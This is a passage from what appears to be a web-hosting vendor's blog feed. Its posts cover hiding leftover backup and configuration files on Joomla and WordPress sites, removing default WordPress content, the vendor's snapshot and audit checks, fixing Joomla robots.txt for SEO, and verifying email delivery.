<FilesMatch "\.(sql|sql\.gz|sql\.zip|tar|tar\.gz|tgz|jpa|jps|bak|old|save|swp|swo)$">
  Require all denied
</FilesMatch>

This won't protect you from every possible filename, but it covers the most common patterns and adds a safety net for files that slip through other preventive measures. If your site legitimately serves downloadable ZIP files (product manuals, resource packs, etc.), remove zip from the list or scope the rule to specific directories rather than the whole site. The point is to block by default and allow by exception, not the other way around.

What Are the Joomla-Specific Risks?

Joomla sites face some specific challenges with leftover files.

The configuration.php Problem

Joomla's configuration.php is one of the most sensitive files on any web server. It contains database credentials, the secret salt used for session security, SMTP passwords, FTP credentials (if configured), and the temp and log directory paths. A renamed copy of this file (configuration.php.bak, configuration.php.old, configuration.php.dist) serves all of those secrets as plain text.

The Joomla Security Centre has published advisories about configuration file exposure, and penetration testing tools like DirBuster and Gobuster include configuration.php.bak in their default wordlists. This is one of the first things any scanner checks for on a Joomla site.

Akeeba Backup Archive Exposure

As mentioned earlier, Akeeba Backup's default storage directory is inside administrator/components/com_akeeba/backup/. On Apache with the default .htaccess, this directory is protected. But protection depends on:

The .htaccess file existing and being intact
Apache being configured to process .htaccess files (AllowOverride not set to None)
The server actually being Apache (Nginx and LiteSpeed ignore .htaccess entirely)

If any of those conditions aren't met, every backup archive Akeeba has ever created on that site is downloadable. We've seen sites with dozens of JPA archives spanning years of backups, all publicly accessible, totalling gigabytes of complete site snapshots.

Extension Installation Packages

When you install a Joomla extension from a ZIP file, the package is sometimes left in the /tmp/ directory. Joomla is supposed to clean these up, but it doesn't always succeed, especially if the temp directory path is wrong or permissions are off. Over time, /tmp/ accumulates installation packages that reveal exactly which extensions you run and at what versions. That's useful intelligence for an attacker looking for known vulnerabilities.

The mySites.guru audit's fluff files tool can clean up some of this debris automatically after Joomla updates, but the /tmp/ directory is worth checking manually during your periodic review.

Is This Only a Joomla Problem?

Everything in this guide applies equally to WordPress sites. The file types are the same (ZIP archives, SQL dumps, PHP error logs, renamed config files), the risks are the same, and the cleanup process is identical. The only difference is the filenames: wp-config.php.bak instead of configuration.php.bak, and wp-content/ instead of /administrator/.

WordPress sites accumulate the same dangerous artifacts from migrations, manual backups, and developer troubleshooting. If anything, WordPress sites are targeted more often because there are more of them, which means automated scanners have longer wordlists of common WordPress backup filenames to try.

mySites.guru runs the same file-level security audit on WordPress sites as it does on Joomla. The archive files tool, SQL dump detection, error log finder, and large files tool all work across both platforms. If you manage multiple WordPress sites alongside your Joomla sites, every audit covers both, and the dashboard shows results for all your sites in one place.

Connecting to your broader security posture

Leftover files aren't an isolated problem. They're usually a symptom of a broader gap in operational discipline, and that gap tends to show up in other areas too.

If archive files and SQL dumps are sitting on your server, what else has been overlooked? Are your Joomla extensions up to date? Is your PHP version current? Are your security headers configured correctly? Are there hidden files that need investigation?

The mySites.guru best practice checks cover all of these areas in a single audit. Dangerous files are one category among many, and addressing them alongside everything else is what turns a one-off cleanup into an ongoing security practice.

If you manage dozens or hundreds of Joomla sites, this compounds fast. One forgotten archive on one site is a manageable risk. Forgotten archives across 50 sites, accumulated over years of migrations and updates, is a systemic exposure that you probably don't even know the full extent of until you scan everything.

Take Action Now

If you've read this far and you're thinking "I should probably check my servers," you're right. You should.

Already using mySites.guru? Run an audit on your sites and look at the archive files, SQL dumps, and error logs results. Clean up whatever you find. Then schedule regular audits so you catch new files before they become a long-term exposure.

Not using mySites.guru yet? Run a free audit on any Joomla or WordPress site, no credit card, no commitment. The audit will tell you exactly what's sitting on your server that shouldn't be.

Want a thorough review? Check the full feature list to see everything mySites.guru covers, or reach out to Phil directly if you'd like a hand going through your results.

The files are already there. The question is whether you find them before someone else does.

Part of our complete security guide for agencies.

How to Remove the Sample Page and Hello World Post in WordPress with One Click

phil@mysites.guru (Phil Taylor) — Tue, 24 Mar 2026 00:00:00 GMT

import { Image } from 'astro:assets'; import investigateImg from '../../assets/img/blog/sample-page-investigate-fix.webp'; import successImg from '../../assets/img/blog/sample-page-fix-success.webp';

The default content nobody remembers to delete

Every WordPress installation ships with two pieces of placeholder content: a page called "Sample Page" and a post titled "Hello World!" They're meant to show new users how pages and posts work, but in practice both get forgotten. Site owners move on to creating real content, and the defaults sit there indefinitely, indexed by Google, visible to visitors, and broadcasting that nobody cleaned up after the install.

mySites.guru's WordPress Configuration audit detects both the Sample Page and Hello World post across all your connected sites, and lets you remove them with one click through the connector plugin. No wp-admin login required. If you're managing dozens of sites, you can see exactly which ones still have default content from a single dashboard, then fix them one by one without opening a single WordPress admin panel. Try a free audit to see what your sites look like.

The Sample Page contains placeholder text about "The XYZ Doohickey Company" and a bike messenger, while the Hello World post is just a single sentence inviting you to delete it. Here's the full default text:

How mySites.guru detects and removes WP default content

mySites.guru splits this into two audit checks, each with its own fix button.

The pivot page shows you the status of every WordPress site at once, so you can see which ones still have default content without opening each site individually:

</div>

Click "Investigate" on any flagged site to see the issue details with a one-click fix button. One click later, the check goes green:

<div class="not-prose my-6 grid grid-cols-2 gap-4"> <div class="rounded-lg border border-neutral-200 dark:border-neutral-700 overflow-hidden flex flex-col"> <div class="flex-1 flex items-end"> <Image src={investigateImg} alt="mySites.guru investigate view showing an orange warning that the sample page post is still present, with an Auto-Magically Fix This For Me button" layout="none" class="w-full" /> </div> <p class="px-3 py-2 text-center text-sm text-neutral-600 dark:text-neutral-400 border-t border-neutral-200 dark:border-neutral-700">Issue detected</p> </div> <div class="rounded-lg border border-neutral-200 dark:border-neutral-700 overflow-hidden flex flex-col"> <div class="flex-1 flex items-end"> <Image src={successImg} alt="mySites.guru success view showing a green checkmark confirming the WordPress site no longer has the sample page" layout="none" class="w-full" /> </div> <p class="px-3 py-2 text-center text-sm text-neutral-600 dark:text-neutral-400 border-t border-neutral-200 dark:border-neutral-700">Fixed in one click</p> </div> </div>

This works the same way as the one-click toggles for debug constants and removing the WordPress logo from the admin bar - the dashboard flags the issue and you fix it without logging into wp-admin.

Why two separate checks?

Some sites might have repurposed the Sample Page with real content (renamed it, changed the slug, kept the page ID). Others might have deleted one but not the other. Separate checks give you accurate reporting for each piece of default content.

Automatic detection on new sites

Every time you connect a new WordPress site to mySites.guru, the first snapshot catches default content automatically. No checklist needed.

This matters when you:

Inherit existing sites from other developers or hosting providers
Build sites from starter templates that may or may not clean up defaults
Push staging sites to production where test content might slip through
Onboard client sites that have been "live" for months with nobody noticing the leftover content

Why default WordPress content actually matters

Search engines index everything they can find. A "Sample Page" with boilerplate text like "This is an example page" competes with your actual content for crawl budget. On small sites, that's a real percentage of your indexed pages being worthless filler.

This is not a hypothetical problem. A quick search shows default WordPress content indexed on government websites:

The Jersey connection

It is just as common on business and nonprofit websites. Here are eight Jersey (.je) sites, all with the default Sample Page sitting in Google's index:

Google's helpful content updates have made thin, low-value content a bigger ranking factor than ever. Pages with no useful content can actively hurt your site's overall quality signals. If you're already working on WordPress configuration best practices, removing default content should be near the top of your list.

Professional appearance and security

If a potential client visits your WordPress site and finds a "Hello World!" post dated the day you installed WordPress, it undermines trust. It says "this site isn't maintained carefully." For agencies building sites for clients, leaving default content behind is the digital equivalent of leaving scaffolding up after the building is finished.

Default content also confirms a site runs WordPress and suggests the setup was not done thoroughly. Automated scanners look for signals like this to identify targets that might have other default settings left unchanged - like default admin usernames, exposed wp-config backups, or enabled XML-RPC. The same principle applies to leaving debug mode enabled on production or allowing unrestricted plugin installs - each leftover default is a signal that the site might have more low-hanging fruit.

Removing default content the manual way

In a single WordPress admin, it takes about 30 seconds:

Go to Posts > All Posts
Trash the "Hello World!" post
Go to Pages > All Pages
Trash the "Sample Page"
Empty the trash for both

Now do that for every WordPress site you manage. Log into each one, navigate to the right screen, delete the content, empty the trash. For 50 sites, that's 50 separate login sessions.

And if you're onboarding new sites regularly, you need to remember to check every new installation. This is the same scaling problem that makes managing multiple WordPress sites from individual admin panels unsustainable.

Part of a bigger cleanup

Default content is one of many things the WordPress Configuration audit catches. Other items in the "should have been cleaned up at install" category:

XML-RPC still enabled - an old API surface that most sites don't need and attackers actively target
Debug mode left on - exposes error details and can leak sensitive paths
Database repair endpoint exposed - allows unauthenticated access to wp-admin/maint/repair.php
File editing enabled in the admin - lets any admin user modify PHP files directly
Uncontrolled automatic updates - can break sites overnight with untested upgrades

They all work the same way: detected during snapshots, reported in the audit, fixable with one click through the connector. For a complete picture of what the security audit covers, including deep file scanning and hack detection, see our audit tools overview.

Scaling cleanup across a portfolio

For agencies and freelancers managing 20, 50, or 200+ WordPress sites, the real value is the confidence that none of your sites have this issue, and the automatic detection when a new site does.

Combined with the other WordPress Configuration checks, you can bring every new site up to your baseline standard within minutes of connecting it. No post-install checklist, no "I'll get to it later" items that never get done.

If you're building a consistent management workflow across a portfolio of client sites, start with our guide to managing multiple WordPress sites like a pro.

Snapshot vs Audit: What's the Difference?

phil@mysites.guru (Phil Taylor) — Mon, 23 Mar 2026 00:00:00 GMT

mySites.guru checks your WordPress and Joomla sites in two very different ways: the Snapshot and the Audit. Both produce a list of checks with pass/fail results, but they collect that data differently and catch different things.

The snapshot checks your site's configuration and settings in milliseconds. The audit reads every single file in your webspace looking for threats. They run independently, on their own schedules, and you want both.

How does the mySites.guru Snapshot work?

The snapshot is a quick health check. It looks up database settings, reads specific configuration files, checks HTTP response headers, and counts things like user accounts and installed plugins. None of this requires scanning your file system, so it completes in milliseconds.

There are over 140 individual checks, grouped into categories like:

Platform configuration (debug mode, SSL, file editing, XML-RPC, auto-updates, and dozens more)
User accounts (inactive users, unactivated accounts, hashed passwords, admin count)
Security headers (X-Frame-Options, Content-Security-Policy, HSTS, Referrer-Policy)
Extensions and plugins (installed versions, available updates, deactivated plugins still on disk)
Database integrity (table prefix, user permissions, pending migrations)
Hosting environment (PHP version, disabled functions, error reporting, session configuration)

Snapshots run automatically twice a day on every connected site. You can also trigger one on demand whenever you want fresh data. At the end of each snapshot, mySites.guru also gathers your full list of extensions and themes, checks each one for available updates, and flags any with known vulnerabilities.

Many snapshot checks include a one-click toggle to fix the issue right from the dashboard. Debug mode left on? One click. User registration accidentally enabled? One click. No need to log into the site.

How does the mySites.guru Audit work?

The audit goes much deeper. Instead of checking configuration values, it reads and inspects every file and every line of code in your entire webspace. That means PHP files, JavaScript, images, archives, hidden files, everything.

It uses over 20,000 regex patterns and 14,000 MD5 hashes to identify:

Malware and backdoors (suspect code patterns, obfuscated PHP, known malicious file hashes)
Mass mailers (scripts designed to send spam from your server)
Modified core files (WordPress or Joomla core files that have been tampered with)
Hidden files and folders (files starting with a dot, tucked into directories you'd never think to check)
Dangerous permissions (files or folders with 777 permissions)
Suspicious file types (SQL dumps, renamed PHP files, upload scripts in unexpected locations)

Because the audit has to read every file, it takes longer than a snapshot. A small site might finish in a couple of minutes; a large site with thousands of files takes longer. The system adjusts its scan speed automatically to avoid overloading slower hosts.

Audits run on a schedule - weekly by default, but you can set them to run daily or monthly depending on how security-sensitive your sites are. You can also trigger one manually whenever you need it.

How do they compare side by side?

	Snapshot	Audit
Speed	Milliseconds	Minutes (depends on site size)
Frequency	Twice daily + on demand	Weekly by default (daily/monthly options)
What it checks	Config, settings, headers, users, extension versions	Every file and line of code in the webspace
Number of checks	140+	26-30 deep inspection tools
Finds hacks?	Catches config red flags	Yes - deep malware and backdoor detection
One-click fixes?	Yes, many checks have toggles	Investigation tools for reviewing findings
Runs automatically?	Yes, twice daily	Yes, on your chosen schedule

When should you use each one?

Snapshots are for daily monitoring. Are your sites configured correctly? Has anything drifted from best practice? Do any extensions need updating? You get answers twice a day without lifting a finger.

Audits are for periodic security checks. They tell you whether any files on your server have been compromised, modified, or look suspicious. The audit is what catches the backdoor someone planted three months ago, or the mass mailer hiding in a forgotten uploads directory.

You run both. Snapshots handle configuration and updates. Audits handle file-level threats.

Why the speed difference?

It comes down to what gets read. Snapshot tools pull a database value or check a single file - that's a millisecond operation. Audit tools open every file in the webspace and compare its contents against thousands of patterns. That takes real time, and it should.

If you're managing a portfolio of WordPress or Joomla sites, having both running on schedule means you're covered on configuration drift and file-level threats without having to remember to check anything manually.

Start with a free audit and see where your sites stand.

Snapshots and audits are both covered in our complete security guide.

How to Check if Your Joomla Site's robots.txt is Hurting Your SEO

phil@mysites.guru (Phil Taylor) — Wed, 18 Mar 2026 00:00:00 GMT

There's a small text file sitting in the root of almost every Joomla site on the web. It's called robots.txt, and there's a decent chance yours is actively hurting your search rankings without you knowing.

The default robots.txt that shipped with older Joomla versions tells Google to stay away from your /media/ and /templates/ folders. That means your images won't show up in Google Image Search, and Google can't properly render your pages to assess their quality. Both of those things cost you traffic.

mySites.guru checks this automatically on every snapshot across all your connected sites, flags the problem, and can fix it with a single click. But even if you're not using mySites.guru yet, this post covers how to audit your Joomla site's robots.txt for SEO problems and fix what you find.

How Does mySites.guru Catch robots.txt Problems?

Automatic snapshot check

Every time mySites.guru runs a snapshot on your Joomla site (twice daily by default, or on demand) it reads your robots.txt and checks whether the file contains Disallow statements for /media/ or /templates/.

If either is found, the snapshot flags it as an issue: "Your robots.txt File Should Not Restrict Media & Template Folders." The check appears in the Joomla Configuration section alongside other best practice checks, with a clear pass/fail indicator and trend tracking that shows whether the status has changed since the last snapshot.

When the check passes, you get a clear green confirmation:

Deeper audit check

The security audit goes further. During a full audit, mySites.guru reads every file on your webspace and checks whether your robots.txt has been modified from the Joomla default. If it hasn't, the audit flags that too: "Distributed robots.txt File Should Be Modified To Suit Your Site."

This catches the broader problem of sites running completely unchanged defaults. Even if the default doesn't block /media/ (as in Joomla 5's default), it still lacks a Sitemap directive and may not reflect your specific configuration.

One-click fix

When the check finds a problem, you get a clear warning with an "Auto-Magically Fix This For Me" button:

Click it and mySites.guru removes the Disallow: /templates/ and Disallow: /media/ lines from your robots.txt and saves the updated file back to your site.

If you need to make more detailed changes, mySites.guru also includes a full file editor for your robots.txt. You can view and edit the raw file contents with syntax-highlighted line numbers, then click Save to push the changes directly to your site:

Check all your sites at once with the pivot page

If you manage multiple Joomla sites, you don't need to open each one individually. The robots.txt pivot page shows the status of this check across every connected Joomla site on a single screen. Each site shows either "OK" (green) or "1 Issue" (red), with "Investigate" and "Manage Site" buttons for quick action.

For agencies and freelancers managing client portfolios, this view saves a lot of time. Instead of logging into each site's snapshot results, you can scan dozens or hundreds of sites in seconds and jump straight to the ones that need attention.

You can also schedule automated audits so the deeper robots.txt analysis runs on a regular cadence without you having to remember to trigger it.

What Is robots.txt and Why Should You Care?

The robots.txt file lives at https://yourdomain.com/robots.txt. It's a plain text file that search engine crawlers read before they start indexing your site. The file contains simple directives: which user agents (crawlers) are addressed, which paths they're allowed to access, and which they should skip.

Here's a simplified example:

User-agent: *
Disallow: /administrator/
Disallow: /cache/
Disallow: /tmp/
Allow: /
Sitemap: https://example.com/sitemap.xml

The User-agent: * line means "this applies to all crawlers." The Disallow lines tell crawlers not to access those paths. The Allow line explicitly permits everything else. The Sitemap line points crawlers to your XML sitemap.

<div class="not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-900/30"> <p class="font-medium text-blue-900 dark:text-blue-200">robots.txt is advisory, not a security measure</p> <p class="mt-1 text-sm text-blue-800 dark:text-blue-300">Well-behaved crawlers like Googlebot honor robots.txt rules, but malicious bots ignore them entirely. Never rely on robots.txt to hide sensitive content. Use proper authentication and <a href="/blog/check-your-websites-security-headers-with-mysites-guru/" class="underline">security headers</a> instead.</p> </div>

Why should you care? Because one wrong line in this file can prevent Google from indexing entire sections of your site. Block the wrong folder and your images vanish from search results, your CSS and JavaScript become invisible to Google's rendering engine, and your pages might be assessed as broken or low quality.

On the flip side, a well-configured robots.txt helps search engines crawl your site efficiently. It tells them to skip admin directories they don't need, points them to your sitemap, and makes sure they can access every resource they need to render your pages properly.

What Is Wrong With Joomla's Default robots.txt?

Joomla has shipped a robots.txt file with every release. The problem is that the default version was overly restrictive for years, and many sites are still running those old defaults.

The pre-3.4.0 mistake

This one affected a huge number of Joomla sites worldwide, and many are still living with the consequences over a decade later.

Before Joomla 3.4.0 (released February 2015), the default robots.txt that shipped with every Joomla installation included these lines:

Disallow: /media/
Disallow: /templates/

Those two lines told every search engine crawler: don't look at anything in the media folder, and don't look at anything in the templates folder. Every single Joomla site installed between September 2005 (Joomla 1.0) and February 2015 (Joomla 3.4.0) got this file by default. That's nearly ten years of installations.

Think about what lives in those folders:

/media/ contains your uploaded images, CSS files, JavaScript libraries, and media assets that Joomla extensions place there. Blocking this folder means Google can't see any of those resources. Every image you've carefully optimised, every product photo, every infographic - invisible to Google Image Search.
/templates/ contains your template's CSS, JavaScript, images, and font files. Blocking this folder means Google can't load your site's stylesheet or scripts when it tries to render the page. To Google's rendering engine, your site looks like raw unstyled HTML from the 1990s.

The issue came to a head in July 2015 when Google started actively penalising sites that blocked rendering resources. Google sent mass warning emails to every site registered in Search Console (which had just been rebranded from Google Webmaster Tools two months earlier) that was blocking CSS and JavaScript. Tens of thousands of Joomla site owners received that warning on the same day. The Joomla forums and community channels were flooded with confused administrators who had never touched their robots.txt and couldn't understand why Google was suddenly complaining.

The Joomla project had already fixed the default robots.txt in version 3.4.0 five months earlier, but the damage was done: sites that had already been installed kept the old file. And because Joomla's updater doesn't overwrite robots.txt (more on that below), even sites that upgraded to 3.4+ kept the old restrictive rules unless someone manually edited the file.

Why old defaults stick around

Joomla doesn't overwrite robots.txt during updates. When you upgrade from Joomla 3.3 to 3.4 (or from 3.x to 4.x, or 4.x to 5.x), your existing robots.txt stays exactly as it was. The updated version ships as robots.txt.dist so you can compare, but the actual file serving your site remains untouched.

That means if you installed Joomla before version 3.4.0 and never manually edited your robots.txt, those restrictive rules are still there. Your site could have been blocking Google from your images and CSS for over a decade.

Even sites installed after 3.4.0 aren't always clean. Some hosting providers use outdated Joomla installation packages. Some site builders copy robots.txt files from other projects without checking what's in them. And some well-meaning tutorials from 2013 still rank on page one of Google, telling people to add Disallow: /media/ for "security reasons."

Real-world examples: even joomla.org gets this wrong

You'd think the Joomla project's own website would have a clean robots.txt. It doesn't. As of March 2026, joomla.org's robots.txt blocks both /media/ and /templates/:

Disallow: /media/
Disallow: /templates/

To work around this, whoever configured it added a series of Allow rules for specific file extensions using wildcard patterns:

Allow: /*.js***************
Allow: /*.css**************
Allow: /*.png**************
Allow: /*.jpg**************

Those long chains of asterisks are unnecessary (a single * does the same thing), and the whole approach is backwards. Instead of blocking entire directories and then trying to selectively allow file types back in, the correct approach is to simply not block /media/ and /templates/ in the first place. The joomla.org robots.txt also blocks /components/, /modules/, and /plugins/, which can prevent crawlers from accessing frontend assets served by extensions.

Another example: akeeba.com's robots.txt has a commented-out Disallow for /images/:

#Disallow: /images/

Someone clearly realised that blocking /images/ was a bad idea and commented it out rather than removing the line. But the file still blocks /components/ and /plugins/, and it has no Sitemap directive. It's also missing any Allow rules for /media/ or /templates/, though at least those aren't explicitly blocked either.

These are prominent Joomla community sites maintained by experienced developers. If they can get this wrong, it's a safe bet that plenty of smaller sites have similar or worse configurations sitting unreviewed.

What Are the Five Most Common robots.txt Mistakes on Joomla Sites?

After analysing robots.txt configurations across thousands of Joomla sites through mySites.guru, these are the mistakes I see again and again.

1. Blocking /media/ and /templates/

This is the big one. As covered above, blocking these folders prevents Google from accessing your images, stylesheets, and scripts. The impact hits two areas:

Image SEO is dead. If Google can't crawl your /media/ folder, your images won't appear in Google Image Search. For many sites, image search is a significant traffic source. Product images, portfolio photos, infographics, all invisible to Google.

Page rendering fails. Google renders pages using a headless Chromium browser to assess layout, content visibility, and user experience. If it can't load your CSS and JavaScript, it sees a broken, unstyled page. That affects your Core Web Vitals scores and can hurt your rankings.

You can verify this yourself. Open Google Search Console, go to the URL Inspection tool, and click "Test Live URL." Then look at the rendered screenshot. If your page appears unstyled or broken, robots.txt blocking is a likely culprit.

2. No Sitemap directive

The Sitemap line in robots.txt is one of the simplest SEO wins available, and most Joomla sites don't have it.

Sitemap: https://example.com/sitemap.xml

This line tells every search engine that visits your robots.txt exactly where to find your XML sitemap. Without it, crawlers rely on you manually submitting your sitemap through Google Search Console, Bing Webmaster Tools, and every other search engine's webmaster interface.

With the Sitemap directive, any crawler that reads your robots.txt (Google, Bing, Yandex, DuckDuckGo, and others) automatically discovers your sitemap. One line, all search engines covered.

If you're using a Joomla sitemap extension (and you should be), add the sitemap URL to your robots.txt. If you're running multiple sitemaps or a sitemap index, you can add multiple lines:

Sitemap: https://example.com/sitemap.xml
Sitemap: https://example.com/sitemap-images.xml

3. Blocking /images/ and /components/

Some Joomla robots.txt files block the /images/ directory. This is where Joomla's built-in media manager stores uploads by default (alongside /media/). Blocking it has the same effect as blocking /media/, and your uploaded content becomes invisible to search engines.

I also see sites blocking /components/, which contains the frontend output of Joomla components. If a component generates pages, images, or downloadable files through its own routes, blocking /components/ can prevent those from being indexed.

# Don't do this
Disallow: /images/
Disallow: /components/

4. Overly broad wildcard rules

Some administrators add wildcard rules that accidentally block more than intended:

# This blocks everything starting with /t - including /templates/ AND /terms-of-service/
Disallow: /t

Robots.txt patterns are matched by simple substring comparison from the start of the URL path. Disallow: /t doesn't just block /tmp/. It blocks every URL that starts with /t, including valid content pages.

The correct approach is to be specific and include trailing slashes for directories:

Disallow: /tmp/
Disallow: /cache/

5. Using the unchanged Joomla default

Even the current Joomla 5 default robots.txt.dist is designed as a starting point, not a finished configuration. It covers the basics (blocking /administrator/, /api/, /cache/, /cli/, /tmp/, and similar system directories) but it doesn't include a Sitemap directive, and it may not reflect your specific site structure.

If your Joomla site uses SEF URLs (which it should), has a blog section, runs an e-commerce component, or serves content in multiple languages, you likely need a customised robots.txt that accounts for your URL patterns.

How Do You Manually Check Your Joomla robots.txt?

If you want to audit your robots.txt by hand, here's the process.

Step 1: view the file

Open your browser and go to https://yourdomain.com/robots.txt. You'll see the raw text contents of the file. If you get a 404, your site doesn't have a robots.txt file at all, which is a different problem (more on that later).

Step 2: look for red flags

Scan for these specific issues:

Disallow: /media/ - blocking your media assets from crawlers
Disallow: /templates/ - blocking your template CSS, JS, and images
Disallow: /images/ - blocking uploaded images
No Sitemap: line - missing sitemap reference
Disallow: / - blocking your entire site (yes, I've seen this)
Broad patterns without trailing slashes - like Disallow: /t instead of Disallow: /tmp/

Step 3: test with Google Search Console

Google provides a robots.txt testing tool in Search Console. Submit your robots.txt content along with URLs you want to test, and it will tell you which URLs are blocked and which are allowed.

Go to Google Search Console, select your property, and use the URL Inspection tool to check whether specific pages are indexable or blocked by robots.txt.

<div class="not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-900/30"> <p class="font-medium text-blue-900 dark:text-blue-200">Subfolder installations need special handling</p> <p class="mt-1 text-sm text-blue-800 dark:text-blue-300">If your Joomla site is installed in a subfolder (e.g., <code>example.com/joomla/</code>), the robots.txt file must be at the domain root (<code>example.com/robots.txt</code>), and all paths must include the subfolder prefix: <code>Disallow: /joomla/administrator/</code> instead of <code>Disallow: /administrator/</code>.</p> </div>

Step 4: compare against a recommended template

Here's a solid starting point for a Joomla 5 robots.txt:

User-agent: *
Disallow: /administrator/
Disallow: /api/
Disallow: /cache/
Disallow: /cli/
Disallow: /libraries/
Disallow: /tmp/
Disallow: /layouts/
Allow: /media/
Allow: /templates/
Allow: /images/

Sitemap: https://example.com/sitemap.xml

Note the explicit Allow lines for /media/, /templates/, and /images/. While an Allow isn't strictly necessary if those paths aren't blocked, including them makes your intent clear and protects against future confusion if someone adds a broader rule later.

What about WordPress?

While this post focuses on Joomla, WordPress sites have their own robots.txt pitfalls. WordPress dynamically generates a virtual robots.txt if no physical file exists, which is actually a reasonable default. But many WordPress users create physical robots.txt files with overly restrictive rules, often blocking /wp-content/uploads/ (where all media uploads live) or /wp-content/themes/ (where template assets live).

mySites.guru checks robots.txt on WordPress sites too. The same snapshot process flags blocked asset directories regardless of which CMS you're running.

What Does Blocking Media Folders Actually Cost You?

The consequences go beyond missing images. When your robots.txt blocks /media/ and /templates/, you lose Google Image Search traffic entirely - every product photo, portfolio image, and infographic becomes invisible. Your Lighthouse scores drop because Google's rendering engine can't load your CSS or JavaScript, so it sees a broken page and your Core Web Vitals suffer. Rich results (snippets, knowledge panels) disappear because Google can't render the page content needed to generate them. And since Google uses mobile-first indexing, a blocked /templates/ folder means the smartphone crawler sees an unresponsive layout, which is what gets used for ranking.

What Other robots.txt SEO Checks Should You Run?

A thorough robots.txt audit goes beyond just checking for blocked media folders. Here are additional things to verify:

Crawl budget efficiency

Large Joomla sites with thousands of pages need to manage their crawl budget, the number of pages Google will crawl on your site in a given time period. Your robots.txt should block:

/administrator/ - Google doesn't need your admin panel
/cache/ - temporary cached files
/tmp/ - temporary upload directory
/cli/ - command-line scripts
URL parameters that create duplicate content (e.g., print views, sort parameters)

Multiple User-agent blocks

If you want different rules for different crawlers (e.g., blocking a specific AI crawler but allowing Googlebot), you can use multiple User-agent blocks:

User-agent: *
Disallow: /administrator/

User-agent: GPTBot
Disallow: /

User-agent: Googlebot
Allow: /

More specific User-agent blocks take precedence for the matching crawler. Googlebot will follow the Googlebot-specific rules and ignore the * wildcard block.

Monitoring for changes

Your robots.txt should be treated as a living configuration file. Changes to your site structure, new extensions, URL rewrites, and CMS updates can all affect what should be in it. mySites.guru's trend tracking flags when your robots.txt changes between snapshots, so you'll know immediately if a plugin, an update, or a well-meaning colleague modified the file.

What Does a Good robots.txt Look Like for Joomla 5?

Based on the patterns we see across thousands of sites, here is a solid, production-ready robots.txt for a standard Joomla 5 installation:

# robots.txt for Joomla 5
# Generated for: example.com
# Last updated: 2026-03-06

User-agent: *

# Block admin and system directories
Disallow: /administrator/
Disallow: /api/
Disallow: /cache/
Disallow: /cli/
Disallow: /libraries/
Disallow: /tmp/
Disallow: /layouts/

# Explicitly allow asset directories
Allow: /media/
Allow: /templates/
Allow: /images/
Allow: /plugins/

# Block common parameter-based duplicate content
Disallow: /*?format=feed
Disallow: /*?start=
Disallow: /*?print=

# Sitemap location
Sitemap: https://example.com/sitemap.xml

Adjust the blocked parameter patterns to match your site's URL structure. If you use a specific sitemap extension, make sure the sitemap URL matches what the extension generates.

How Do You Fix a Broken robots.txt on Joomla?

If your audit reveals problems, here's how to fix them:

Option 1: fix it through mySites.guru (fastest)

If your site is connected to mySites.guru, navigate to the Joomla Configuration section of the snapshot results and find the "Media & Template" check. Click "Investigate" to see the one-click fix button, or use mySites.guru's built-in robots.txt file editor to make more detailed changes. Either way, mySites.guru saves the updated file directly to your site. Run a new snapshot afterwards to confirm the fix.

Option 2: edit the file via FTP/SFTP

Connect to your site via FTP or SFTP, navigate to the root directory (the same level as your index.php), and open robots.txt in a text editor. Make your changes, save, and upload.

Option 3: edit through your hosting control panel

Most hosting control panels (cPanel, Plesk, DirectAdmin) include a file manager where you can browse to the site root and edit robots.txt directly in the browser. Some Joomla extensions also provide file editing capabilities, but Joomla itself has no built-in file editor.

After fixing

After updating your robots.txt:

Visit https://yourdomain.com/robots.txt in your browser to verify the changes
Test in Google Search Console using the URL Inspection tool
Request reindexing for any pages that were previously blocked
Run a fresh mySites.guru snapshot to confirm the check now passes
Monitor your Google Search Console coverage report over the next few weeks to see previously blocked pages get picked up

Don't overlook the basics

It's easy to focus on the flashy parts of SEO (content strategy, backlinks, page speed optimisation) and overlook a misconfigured text file that's been quietly working against you for years. Your Joomla site's robots.txt is one of the first things search engines read, and getting it wrong costs you traffic.

If you're managing multiple sites, checking robots.txt manually across all of them isn't realistic. That's exactly why mySites.guru includes it as an automated snapshot check. Connect your sites with a free audit, and you'll know within minutes whether any of them have this problem.

Check out the full list of features that mySites.guru offers for managing and monitoring your Joomla and WordPress sites at scale.

How to Verify Your Joomla Site's Email Configuration Actually Works

phil@mysites.guru (Phil Taylor) — Mon, 16 Mar 2026 00:00:00 GMT

Your Joomla site sends emails every day. Contact form submissions, user registration confirmations, password resets, admin notifications. You probably assume it all just works.

It might not be working at all. And the worst part: Joomla won't tell you when it stops.

There's no warning banner. No error log entry (in most configurations). No dashboard alert. Your contact form will happily accept submissions, show the "thank you" message, and silently drop the email into a void. Your customer thinks they've reached out. You think nobody's contacted you in weeks. Both of you are wrong.

I've seen agencies lose leads for months before someone finally called and said "I submitted your form three times and never heard back." That's when you discover the hosting provider changed the SMTP port in January and nobody updated the Joomla configuration.

The rest of this post covers Joomla's email system, the mistakes that break it most often, and how to stop relying on manual checks.

How does mySites.guru automate email verification?

Every time mySites.guru runs a security audit on your Joomla site, the very first thing it does is send a test email.

The audit uses your site's own configured mail settings (whatever you've set in Global Configuration) to send a short email to AuditMailerTest@myjoomla.io. The myjoomla.io domain is left over from the service's original name, before WordPress support was added. The server receiving these emails isn't a traditional SMTP server. It's a lightweight PHP service that accepts the incoming email, converts it to JSON, and sends it back to the mySites.guru platform for processing.

If the email arrives, your audit shows a green "OK" status for the Email Configuration check. If it doesn't arrive, you get a red "Issue" flag with a clear message: "We never received an email we attempted to send back to us from your Joomla site."

<div class="not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950"> <p class="font-medium text-blue-900 dark:text-blue-200">This is a real email delivery test, not a config check</p> <p class="mt-1 text-sm text-blue-800 dark:text-blue-300">mySites.guru doesn't just look at your settings and say "these look right." It actually sends an email from your site and waits for it to arrive. If the email doesn't get through, neither would your contact form submissions or user notifications.</p> </div>

Tim Davis from Basic Joomla Tutorials put together a walkthrough of the email configuration check and the other Joomla Configuration audit results. Worth watching if you want to see what the audit output looks like in practice:

Check out his full mySites.guru playlist on YouTube for more walkthroughs of the audit tools.

What happens when the test fails

A failed email test means your site cannot send email. Not just to the mySites.guru test address, but to anyone. The test uses the same mail settings and same code path that your contact forms, user registrations, and admin notifications use. If the test email fails, everything fails.

